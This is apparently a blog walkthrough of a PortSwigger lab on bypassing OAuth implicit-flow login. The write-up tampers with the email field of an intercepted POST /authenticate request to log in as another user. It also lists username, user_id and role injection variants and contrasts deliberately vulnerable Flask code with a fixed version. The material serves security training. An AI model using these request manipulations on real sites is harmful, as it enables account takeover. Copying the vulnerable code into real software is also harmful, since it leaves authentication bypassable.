Goal:

• 🔍 Understand OAuth 2.0 implicit flow vulnerabilities
• 🎯 Identify client-side validation flaws in OAuth implementation
• 🔓 Bypass authentication by manipulating user data
• 👤 Log in as user carlos@carlos-montoya.net
• 🚀 Learn OAuth flow interception and modification
• 🎉 Complete lab

🧠 Concept Recap

OAuth Implicit Flow Authentication Bypass exploits weak validation in client applications that trust user data received from OAuth providers without proper verification. When the client doesn't validate the access token against the user data, attackers can simply change the email address in the authentication request to impersonate any user.

📊 The Vulnerability

OAuth Implicit Flow Basics:

OAuth 2.0 Implicit Grant Type Flow:

User → Client App → OAuth Provider (Authorization)
                         ↓
                    Access Token
                         ↓
User ← Client App ← OAuth Provider (with user data)
Purpose:
└── Used for client-side applications (JavaScript apps)
    └── Access token returned directly in URL fragment
        └── No server-side exchange needed

The Security Flaw:

SECURE FLOW (Should happen):
┌──────────────────────────────────────────────┐
│ 1. User authorizes at OAuth provider         │
│ 2. OAuth returns: access_token + email       │
│ 3. Client sends to /authenticate:            │
│    - access_token                            │
│    - email                                   │
│ 4. Server validates:                         │
│    ✓ Verify access_token with OAuth provider │
│    ✓ Confirm email matches token owner       │
│ 5. Session created for VERIFIED user         │
└──────────────────────────────────────────────┘

VULNERABLE FLOW (What actually happens):
┌──────────────────────────────────────────────┐
│ 1. User authorizes at OAuth provider         │
│ 2. OAuth returns: access_token + email       │
│ 3. Client sends to /authenticate:            │
│    - access_token                            │
│    - email                                   │
│ 4. Server "validates":                       │
│    ✗ Trusts email parameter blindly          │
│    ✗ Doesn't verify token matches email      │
│ 5. Session created for UNVERIFIED email      │
└──────────────────────────────────────────────┘

The Attack:
└── Intercept POST /authenticate request
    └── Change email parameter to victim's email
        └── Keep valid access_token from your account
            └── Server creates session for victim!
                └── Authentication bypassed! ✓

Why This Works:

Root cause: Implicit trust in client-side data

Normal OAuth flow:
POST /authenticate HTTP/1.1
{
  "email": "wiener@peter.com",      ← From OAuth (legitimate)
  "access_token": "abc123xyz",       ← Valid token for wiener
  "username": "wiener"
}
Server logic (VULNERABLE):
def authenticate(email, token, username):
    # ✗ WRONG: Assumes email matches token
    if valid_token(token):  # Just checks token exists
        create_session(email)  # Uses provided email!
        return "Success"
Attacker modifies:
POST /authenticate HTTP/1.1
{
  "email": "carlos@carlos-montoya.net",  ← Changed!
  "access_token": "abc123xyz",            ← Still valid for wiener
  "username": "wiener"
}
Server processes:
✓ Token valid? YES (it's wiener's valid token)
✓ Create session for: carlos@carlos-montoya.net
✗ Never verified token belongs to carlos!
Result: Logged in as carlos! 🎯

🛠️ Step-by-Step Attack

🔧 Step 1 — Access Lab and Login with Provided Credentials

1. 🌐 Click "Access the lab"
2. 👤 Click "My account" in top-right corner
3. 🔗 Click "Login with social media" button

OAuth login screen appears:

Social Media Login Page
├── Client requesting access
├── Permissions: Read email, username
└── Login credentials required

4. ✏️ Enter provided credentials:

• Username: wiener
• Password: peter

5. ✅ Click "Login" or "Authorize"

What happens:

OAuth Flow Initiated:
1. Blog redirects to OAuth provider
   └── URL: /auth?client_id=...&redirect_uri=...&response_type=token

2. User authenticates (wiener:peter)
   └── OAuth provider verifies credentials ✓

3. OAuth returns access token + user data
   └── Redirect: /oauth-callback#access_token=...&email=wiener@...

4. Client extracts data from URL fragment
   └── JavaScript reads: access_token, email, username

5. Client POSTs to /authenticate
   └── Sends: token, email, username to server

6. Server creates session
   └── Redirects to /my-account

You're now logged in as wiener!

📡 Step 2 — Analyze OAuth Flow in Burp Suite

1. 🛠️ Open Burp Suite → Proxy → HTTP history
2. 🔍 Filter for recent requests

Look for this sequence:

Request Sequence:

1. GET /auth?client_id=xxxxx&redirect_uri=/oauth-callback&response_type=token&nonce=...&scope=openid%20profile%20email
   └── Initial authorization request

2. POST /login (to OAuth provider)
   └── Credentials: wiener:peter
   └── Response: 302 redirect

3. GET /oauth-callback#access_token=xxxxx&token_type=Bearer&expires_in=3600
   └── Callback with access token in URL fragment
   └── Note: Browser doesn't send fragments to server!

4. GET /oauth-callback (without fragment)
   └── Page loads JavaScript to extract token

5. POST /authenticate HTTP/1.1
   └── THIS IS THE CRITICAL REQUEST! ⚠️
   └── Contains user data to server

🎯 Step 3 — Locate the Authentication Request

Find POST /authenticate request:

POST /authenticate HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=xxxxx
Content-Type: application/json
Content-Length: 103

{
  "email": "wiener@hotdog.com",
  "username": "wiener",
  "token": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
}

OR in URL-encoded format:

POST /authenticate HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=xxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

email=wiener@hotdog.com&username=wiener&token=xxxxxxxxxxx

Response:

HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: session=NEW_SESSION_TOKEN; Path=/

Session created for wiener@hotdog.com

🔄 Step 4 — Send Request to Repeater

1. 🖱️ Right-click on POST /authenticate request
2. 📤 Select "Send to Repeater"
3. 📋 Switch to Repeater tab

💡 Step 5 — Modify Email to Carlos

Original request:

POST /authenticate HTTP/1.1
Host: 0a5b00f8031bc58c80b4567b00e500ae.web-security-academy.net
Cookie: session=V8bGPZ0rKsF5OqNqYD3p8rKH2l9yFmJx
Content-Type: application/json
Content-Length: 103

{
  "email": "wiener@hotdog.com",
  "username": "wiener",
  "token": "KLZabc123XYZ456def789GHI012jkl345mno678pqr901stu234vwx567yz890"
}

Modified request:

POST /authenticate HTTP/1.1
Host: 0a5b00f8031bc58c80b4567b00e500ae.web-security-academy.net
Cookie: session=V8bGPZ0rKsF5OqNqYD3p8rKH2l9yFmJx
Content-Type: application/json
Content-Length: 113

{
  "email": "carlos@carlos-montoya.net",
  "username": "wiener",
  "token": "KLZabc123XYZ456def789GHI012jkl345mno678pqr901stu234vwx567yz890"
}

Key changes:

Before: "email": "wiener@hotdog.com"
After:  "email": "carlos@carlos-montoya.net"

Keep unchanged:
├── token: (same valid token from wiener's session)
└── username: "wiener" (optional, often ignored)

Update:
└── Content-Length: Adjust for new email length

🚀 Step 6 — Send Modified Request

1. ✏️ Ensure email changed to: carlos@carlos-montoya.net
2. 🔢 Update Content-Length if needed
3. 🚀 Click "Send"

Expected response:

HTTP/1.1 302 Found
Location: /my-account
Set-Cookie: session=NEW_SESSION_FOR_CARLOS; Path=/

Session created successfully

Or:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "success",
  "message": "Authentication successful"
}

Success indicators:

✓ Status: 200 OK or 302 Found
✓ New session cookie issued
✓ No error messages
✓ Location redirects to /my-account

🌐 Step 7 — Access Account in Browser

Method 1: Request in Browser (Recommended)

1. 🖱️ Right-click on the modified POST /authenticate request in Repeater
2. 📋 Select "Request in browser" → "In original session"
3. 📋 Copy the generated URL
4. 🌐 Open browser (with Burp proxy enabled)
5. 📋 Paste URL in address bar
6. ⏎ Press Enter

Method 2: Manual Cookie Copy

1. 📋 From response, copy new Set-Cookie value
2. 🛠️ Open browser Developer Tools (F12)
3. 📝 Go to Console tab
4. 📋 Paste: document.cookie="session=NEW_SESSION_TOKEN"
5. 🔄 Navigate to /my-account

Method 3: Burp Browser

1. 🖱️ Right-click modified request
2. 🌐 Select "Open in Burp's browser"
3. ✅ Automatically authenticated as carlos

🎉 Step 8 — Verify Success

Browser should show:

┌──────────────────────────────────────┐
│  My Account                          │
│                                      │
│  Email: carlos@carlos-montoya.net    │
│  Username: carlos (or wiener)        │
│                                      │
│  [Update email]  [Logout]            │
└──────────────────────────────────────┘

Lab banner:

┌─────────────────────────────────────┐
│  ✅ Congratulations!                │
│                                     │
│  You successfully bypassed OAuth    │
│  authentication by manipulating     │
│  the email parameter!               │
│                                     │
│  Lab: Authentication bypass via     │
│       OAuth implicit flow           │
│  Status: SOLVED ✓                   │
└─────────────────────────────────────┘

🔗 Complete Attack Chain

Step 1: Access lab
         ↓
Step 2: Login with provided credentials (wiener:peter)
         └── Completes OAuth flow normally
         ↓
Step 3: Analyze traffic in Burp history
         └── Identify POST /authenticate request
         ↓
Step 4: Send POST /authenticate to Repeater
         ↓
Step 5: Modify email parameter
         └── Change: wiener@hotdog.com
         └── To: carlos@carlos-montoya.net
         └── Keep: Same valid access_token
         ↓
Step 6: Send modified request
         └── Response: 302 Found (new session)
         ↓
Step 7: Access /my-account with new session
         └── Method: "Request in browser"
         ↓
Step 8: Verify logged in as carlos
         └── Email shows: carlos@carlos-montoya.net ✓
         ↓
Step 9: Lab solved! 🎉

⚙️ Understanding the Vulnerability

OAuth 2.0 Implicit Flow Review

Legitimate Flow:

┌─────────┐                    ┌──────────┐                ┌─────────┐
│ Browser │                    │  Client  │                │  OAuth  │
│         │                    │   App    │                │ Provider│
└─────────┘                    └──────────┘                └─────────┘
     │                              │                            │
     │  1. Click "Login with OAuth" │                            │
     │─────────────────────────────>│                            │
     │                              │                            │
     │  2. Redirect to OAuth        │                            │
     │<─────────────────────────────│                            │
     │                              │                            │
     │  3. GET /auth?client_id=...&redirect_uri=...              │
     │──────────────────────────────────────────────────────────>│
     │                              │                            │
     │  4. Login page (if not authenticated)                     │
     │<──────────────────────────────────────────────────────────│
     │                              │                            │
     │  5. POST /login (username:password)                       │
     │──────────────────────────────────────────────────────────>│
     │                              │                            │
     │  6. Authorization consent    │                            │
     │<──────────────────────────────────────────────────────────│
     │                              │                            │
     │  7. User approves            │                            │
     │──────────────────────────────────────────────────────────>│
     │                              │                            │
     │  8. Redirect to callback with token in URL fragment       │
     │     /callback#access_token=xxx&email=user@email.com       │
     │<──────────────────────────────────────────────────────────│
     │                              │                            │
     │  9. GET /callback (fragment not sent to server!)          │
     │─────────────────────────────>│                            │
     │                              │                            │
     │ 10. JavaScript extracts token from fragment               │
     │                              │                            │
     │ 11. POST /authenticate       │                            │
     │     {email, username, token} │                            │
     │─────────────────────────────>│                            │
     │                              │                            │
     │                              │ 12. ✗ SHOULD VALIDATE:     │
     │                              │     Verify token with      │
     │                              │     OAuth provider         │
     │                              │     Confirm email matches  │
     │                              │                            │
     │                              │ 13. ✗ ACTUALLY DOES:       │
     │                              │     Trusts email blindly   │
     │                              │     Creates session        │
     │                              │                            │
     │ 14. Session created          │                            │
     │<─────────────────────────────│                            │
     │                              │                            │

The Critical Flaw

Server-side code (VULNERABLE):

# ❌ VULNERABLE VERSION

@app.route('/authenticate', methods=['POST'])
def authenticate():
    data = request.get_json()
    
    email = data.get('email')
    username = data.get('username')
    token = data.get('token')
    
    # Check if token exists and is valid format
    if token and len(token) > 10:  # Basic validation only!
        # ✗ CRITICAL FLAW: No verification with OAuth provider
        # ✗ Assumes email parameter matches token owner
        
        # Create session for provided email
        session_token = create_session(email)
        
        return jsonify({
            'status': 'success',
            'session': session_token
        }), 200
    
    return jsonify({'error': 'Invalid token'}), 401
# Problems:
# 1. Never validates token with OAuth provider
# 2. Blindly trusts email parameter
# 3. No verification that token belongs to email
# 4. Creates session for any email provided

Why Implicit Flow is Vulnerable

Implicit Flow Characteristics:

1. Access token in URL fragment
   └── Fragment: #access_token=xxx
       └── Never sent to server
           └── JavaScript must extract it
               └── Client-side processing

2. No server-side token exchange
   └── Authorization Code Flow: Server exchanges code for token
       └── Server can verify with OAuth provider
   └── Implicit Flow: Token directly to browser
       └── No server verification step
           └── Easier to manipulate

3. Client-side data assembly
   └── JavaScript extracts: token, email, username
       └── Sends via POST /authenticate
           └── All parameters controllable by attacker!

4. Trust boundary issue
   └── Server must trust client-provided data
       └── If no verification: Complete trust
           └── Authentication bypass possible

The vulnerability chain:
└── Implicit flow → Client assembles data → Server trusts data → Bypass!

Real-World Scenarios

Scenario 1: Social Media Login

Vulnerable Application:
├── "Login with Google" button
├── Uses OAuth implicit flow
├── Trusts email from client
└── No token verification

Attack:
1. Login with your Google account
2. Intercept POST /authenticate
3. Change email to victim's email
4. Access victim's account ✓

Impact: Full account takeover

Scenario 2: Single Sign-On (SSO)

Vulnerable SSO Implementation:
├── Corporate SSO using OAuth
├── Multiple applications trust SSO
├── Implicit flow with weak validation
└── Email-based access control

Attack:
1. Login with your corporate account
2. Modify email to admin@company.com
3. Access admin applications
4. Escalate privileges ✓

Impact: Privilege escalation, data breach

Scenario 3: API Access

Vulnerable API:
├── OAuth for API authentication
├── Implicit flow for mobile apps
├── Email determines API permissions
└── No token verification

Attack:
1. Legitimate user: user@company.com (read access)
2. Intercept OAuth callback
3. Change email to admin@company.com
4. POST /authenticate with admin email
5. Receive API token with admin permissions ✓
Impact: Unauthorized API access, data exfiltration

🔬 Advanced Concepts

Why This Specific Attack Works

Token Validation Levels:

Level 0: No validation (This lab)
└── Server doesn't check token at all
    └── Any string accepted

Level 1: Format validation only (This lab)
└── Server checks token exists and has valid format
    └── But doesn't verify with OAuth provider
        └── Our attack succeeds here! ✓

Level 2: Existence validation
└── Server queries OAuth provider: "Does this token exist?"
    └── Provider responds: Yes (it's wiener's token)
        └── But doesn't verify email matches
            └── Attack might still work!

Level 3: Full validation (SECURE)
└── Server queries: "Who owns this token?"
    └── Provider responds: wiener@hotdog.com
        └── Server compares with provided email
            └── Mismatch detected! ✗
                └── Attack fails (secure)

This lab uses Level 1 or Level 2 validation
└── Token verified to exist
    └── But email not verified against token
        └── Authentication bypass possible! ✓

OAuth Implicit Flow vs Authorization Code Flow

╔══════════════════════════════════════════════════════════╗
║         Implicit Flow vs Authorization Code              ║
╠══════════════════════════════════════════════════════════╣
║                                                          ║
║  Aspect           │ Implicit Flow      │ Code Flow       ║
║  ─────────────────┼────────────────────┼──────────────   ║
║  Token location   │ URL fragment       │ Server-side     ║
║  Client type      │ JavaScript/Mobile  │ Server apps     ║
║  Token exposure   │ High (browser)     │ Low (server)    ║
║  Refresh tokens   │ No                 │ Yes             ║
║  Verification     │ Client-side        │ Server-side     ║
║  Security         │ Lower              │ Higher          ║
║  This attack      │ Possible ✓         │ Harder ✗       ║
║                                                          ║
║  Why Implicit Flow is vulnerable:                        ║
║  ├── Access token visible in browser                     ║
║  ├── No server-side token exchange                       ║
║  ├── Client assembles authentication data                ║
║  └── Easier to manipulate                                ║
║                                                          ║
║  Why Authorization Code Flow is safer:                   ║
║  ├── Server exchanges code for token                     ║
║  ├── Token never exposed to browser                      ║
║  ├── Server directly validates with OAuth provider       ║
║  └── Harder to bypass                                    ║
║                                                          ║
╚══════════════════════════════════════════════════════════╝

Detection Techniques

Identifying OAuth Implicit Flow:

Look for these indicators:

1. Login button text:
   ├── "Login with Google"
   ├── "Sign in with Facebook"
   ├── "Continue with GitHub"
   └── "Use [Provider] Account"

2. Authorization URL:
   └── /auth?client_id=...&response_type=token
       └── response_type=token = Implicit Flow!
       └── response_type=code = Authorization Code Flow

3. Callback URL fragment:
   └── /callback#access_token=xxx&token_type=Bearer
       └── Token in fragment (#) = Implicit Flow

4. Network traffic:
   └── POST /authenticate immediately after callback
       └── Contains: email, token, username
           └── Vulnerable if no server verification!

5. Response headers:
   └── No token exchange with OAuth provider
       └── Direct session creation

Alternative Attack Vectors

Vector 1: Username Manipulation

POST /authenticate HTTP/1.1

{
  "email": "wiener@hotdog.com",
  "username": "carlos",
  "token": "valid_token"
}
If application uses username for access control:
└── Might create session as "carlos" user
    └── Even with wiener's email

Vector 2: User ID Injection

POST /authenticate HTTP/1.1

{
  "email": "wiener@hotdog.com",
  "user_id": "123",
  "token": "valid_token"
}
If application blindly trusts user_id:
└── Change user_id to victim's ID
    └── Access victim's account

Vector 3: Role/Permission Injection

POST /authenticate HTTP/1.1

{
  "email": "wiener@hotdog.com",
  "role": "admin",
  "token": "valid_token"
}
If application reads role from request:
└── Inject admin role
    └── Privilege escalation!

🛡️ How to Fix (Secure Code)

Fix 1: Always Verify Token with OAuth Provider

# ✅ SECURE VERSION

import requests
OAUTH_PROVIDER_URL = "https://oauth-provider.com"
@app.route('/authenticate', methods=['POST'])
def authenticate():
    data = request.get_json()
    
    email = data.get('email')
    token = data.get('token')
    
    # CRITICAL: Verify token with OAuth provider
    token_info = verify_access_token(token)
    
    if not token_info:
        return jsonify({'error': 'Invalid token'}), 401
    
    # CRITICAL: Verify email matches token owner
    if token_info['email'] != email:
        return jsonify({'error': 'Email mismatch'}), 403
    
    # Safe to create session
    session_token = create_session(token_info['email'])
    
    return jsonify({
        'status': 'success',
        'session': session_token
    }), 200
def verify_access_token(token):
    """Verify token with OAuth provider and get user info"""
    try:
        response = requests.get(
            f'{OAUTH_PROVIDER_URL}/userinfo',
            headers={'Authorization': f'Bearer {token}'},
            timeout=5
        )
        
        if response.status_code == 200:
            return response.json()
        
        return None
    
    except Exception as e:
        logger.error(f'Token verification failed: {e}')
        return None
# Benefits:
# ✅ Token verified with OAuth provider
# ✅ Email must match token owner
# ✅ No client-provided data trusted
# ✅ Authentication bypass prevented

👏 If this helped you — clap it up (you can clap up to 50 times!)

🔔 Follow for more writeups — dropping soon

🔗 Share with your pentest team

💬 Drop a comment